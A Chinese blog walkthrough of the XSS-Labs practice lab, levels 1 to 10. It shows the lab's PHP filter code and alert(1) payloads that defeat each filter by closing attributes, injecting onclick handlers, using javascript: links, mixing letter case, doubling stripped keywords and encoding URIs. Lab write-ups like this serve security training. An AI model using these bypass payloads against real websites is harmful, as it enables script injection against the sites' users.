XSSLabs Less1-10

本文介绍了XSS实验室的一系列挑战,包括常规的XSS注入,HTML属性闭合,事件处理程序利用,过滤与绕过策略等。通过这些练习,读者可以深入理解XSS攻击原理,并学习如何防止此类安全漏洞。挑战涉及了如htmlspecialchars()函数的使用,onclick事件,HTML属性的双写等防御手段的绕过。
摘要由CSDN通过智能技术生成

Xsslabs下载地址:

https://github.com/do0dl3/xss-labs

Less-1--常规插入语句

 

把test的值改成跨站脚本语句即可name=<script>alert(1)</script>

 Less-2--”>闭合前面的语句

<?php

ini_set("display_errors", 0);

$str = $_GET["keyword"];

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

<form action=level2.php method=GET>

<input name=keyword  value="'.$str.'">

<input type=submit name=submit value="搜索"/>

</form>

</center>';

?>

htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体

&(和号) 成为&

" (双引号) 成为 "

' (单引号) 成为 '

< (小于) 成为 <

> (大于) 成为 >

同样在keyword后插入语句<script>alert(1)</script>

 选中<script>alert(1)</script>右键查看元素,发现两个语句

 使用”>闭合前面的语句

在keyword修改js语句为 “><script>alert(1)</script>

 

Less-3----HTML onclick 事件

采取第二关做法,点击发现单引号引用

 

 改为’发现过滤

 

同样在from表单中 ,鼠标点击搜索按钮可以触发HTML onclick 事件属性

当单击鼠标时运行脚本:<button οnclick="copyText()">复制文本</button>

 闭合前后两边的单引号,构造payload:  ‘ οnclick=alert(1) ‘  

 

Less-4--闭合引号

与第三关相同,闭合掉两边双引号就可以了

payload: " οnclick="alert(1)" "

Less-5--超链接

采用第四关做法发现onclick变成o_nclick

 过滤代码如下:

$str2=str_replace("<script","<scr_ipt",$str);

$str3=str_replace("on","o_n",$str2);

方法一:去掉_

 方法二:采用超链接

 payload: "><a href=javascript:alert(1)>yy</a>

 点击yy成功

Less-6--大小写绕过

方法一:使用第四关语句" οnclick=alert(1) "发现

 直接点击修改,简单粗暴,但只能本次有效,实战意义不大

方法二:大小写绕过

过滤代码:

$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);

点击事件payload:  " ONclick=alert(1) "

超链接payload: "><a HRef=javasCript:alert(1)>yy</a>

Less-7--双写href,script关键字

 将href过滤为空,script过滤为空

过滤代码: srt_replace为一次过滤

方法:双写href,script

payload:  "><a hhrefref=javascscriptript:alert(1)>yy</a>

点击yy按钮成功

Less-8----javascript文本转换

添加链接只需输入href即可,输入javascript:alert(1)

得到

 利用supersoft进行文本转换

payload: javascript:alert(1) (需要文本编码)

Less-9----注释http://

使用8的解码看到

 过滤代码 必须有http:// 否则过滤

 http前的//是为了注释掉http://

payload: javascript:alert(1)//http://       (需要文本编码)

Less-10--多标签突破

这里有三个 <input> 标签隐藏,也就意味着是三个参数看看哪一个标签能够被突破

payload: &t_sort="type="text" οnclick="alert(1)"

t_sort              为参数

type="text"         为添加点击类型为text

οnclick="alert(1)"  为鼠标点击事件

通过构造参数响应发现只有t_sort里面的值被改变了。因此可以从该标签进行突破

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值